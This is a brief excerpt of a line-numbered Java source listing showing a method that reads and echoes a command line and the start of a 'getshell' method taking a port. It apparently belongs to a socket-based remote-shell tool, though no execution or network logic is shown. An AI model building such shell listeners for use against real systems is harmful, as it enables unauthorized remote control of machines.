(Scanner sc)
| 65 | } |
| 66 | |
| 67 | private static String getcmd(Scanner sc) throws Exception { |
| 68 | String cmd = sc.nextLine(); |
| 69 | System.out.print("-------"+cmd); |
| 70 | return cmd; |
| 71 | } |
| 72 | |
| 73 | private static boolean getshell(int port) throws Exception { |
| 74 | connectionSocket = null; |